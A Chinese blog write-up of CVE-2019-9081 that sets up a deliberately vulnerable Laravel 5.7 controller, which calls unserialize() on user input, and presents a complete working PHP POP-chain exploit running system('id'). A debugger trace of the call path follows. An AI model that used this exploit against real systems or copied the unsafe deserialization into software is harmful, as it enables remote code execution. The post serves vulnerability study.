lavarel cve及相关pop链

CVE-2019-9081

参考链接:

https://mochazz.github.io/2019/06/25/Laravel5.7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%B9%8BRCE%E9%93%BE%E6%8C%96%E6%8E%98/#%E6%BC%8F%E6%B4%9E%E9%93%BE%E6%8C%96%E6%8E%98
https://www.cnblogs.com/tr1ple/p/11079354.html

在 laravel57/routes/web.php 文件中添加一条路由,便于我们后续访问。

<?php
Route::get("/","\App\Http\Controllers\DemoController@demo");
?>

在 laravel57/app/Http/Controllers/ 下添加 DemoController 控制器,代码如下:

// /var/www/html/laravel57/app/Http/Controllers/DemoController.php
<?php 
namespace App\Http\Controllers;

use Illuminate\Http\Request;

class DemoController extends Controller
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.7";
    }
}

所需参数有4个,下面为4个参数的构造。

$this->app;         //一个实例化的类 Illuminate\Foundation\Application
$this->test;        //一个实例化的类 Illuminate\Auth\GenericUser
$this->command;     //要执行的php函数 system
$this->parameters;  //要执行的php函数的参数  array('whoami')

exp:

<?php

namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;

        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}

namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}

namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;

        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}

namespace{
    $genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
    $application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("system",array('id'),$genericuser,$application);
    echo urlencode(serialize($pendingcommand));
}

?>

首先是传入payload,进行反序列化,因为反序列化过程中会涉及到不同的类,会引发自动加载机制。

首先是在facade静态接口中查找pendingcommand类,没有找到。启动类的自动加载机制,调用loadlclass函数:

在这个过程中也加载了GenericUser类,然后就是进入相关类的析构函数内发现调用了run函数,跟进run函数。

发现这里调用了mockConsoleOutput函数,在运行到执行代码的地方之前我们需要保证它畅通无阻,所以跟进mockConsoleOutput函数;

我们需要的是,可以让他继续运行下去,继续单步执行,这里我们需要注意的是testsrc\Illuminate\Auth\GenericUser.php中的GenericUser类的对象,但是显然此类中是没有expectedQuestions属性的所以当在foreach遍历的时候会自动调用GenericUser类内的__get()

attribute[]是我们可以控制的因此可以在数组内随意设置缺少的参数的值:

继续单步执行跳出mockConsoleOutput函数。

向下走发现会调用app对象的call()

这里的Kernel::class是一个固定的值

类名::class 表示类的完全限定名称

这里的app对象是Illuminate\Foundation\Application内类的对象, call的参数为我们所要执行的命令和命令参数this->command,this->parameters), 跟进看一下:

发现会执行这个函数,但是这个函数内没有什么可利用的,跟进看一下:

调用了src\Illuminate\Container\Container.php文件内的container类内的getalias()

因为aliases[]内没有abstract故会直接返回值并且跳出函数,继续单步执行发现会执行到最后的make()。跟进make()内的resove()函数,要注意这里的make()containerapplication的父类的一个函数:

从头来看,这几个逐渐分散的函数都是为了最初的实例化application类而执行的。继续单步执行,在getconcrete()处步入:

可以发现这里有对bindings[]的操作,通过反序列化我们是可以控制bindings数组的。 而此时$abstract为固定值,即只需要让bindings为一个二维数组,其中键abstract的值作为数组,其中存在键名为concrete,键值为我们想要实例化的类Application即可。随后跳出getconcrete(),变量concrete的值变成"Illuminate\Foundation\Application。继续向下,需要满足isBuildable才可以实例化,跟进函数看一下:

这里显然并不恒等,而且||右侧,concrete显然不是闭包类的实例化,因此会返回false,并且跳出函数。进而继续调用一次make函数。而调用的这次make()主要是给在concrete赋过值之后再进行一次比较,进而返回true,进而实例化application类。之后继续单步执行,跳出make()。以此,application类的实例化就已经完成了。继续调用实例的call(),此函数存在于application的父类container中的。跟进看一下:

这里的callback参数值为pendingcommand类中的command参数值,parameterspendingcommand类中的同名数组值。 其中第一个分支isCallableWithAtSign()判断回调函数是否为字符串并且其中含有@,并且defaultMethod默认为null,显然此时不满足if条件,即进入第二个分支,callBoundMethod()函数的调用,跟进 callBoundMethod()

发现,call_user_func()的参数为getMethodDependencies()的返回值, 在return处可以看到此时调用array_merge函数将dependencies数组和parameters数组进行合并,但是dependencies数组为空,因此对我们要执行命令的参数不产生影响,即在此步返回将执行命令。

此时的exitcode值即为命令执行后的值:

好难。。。

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...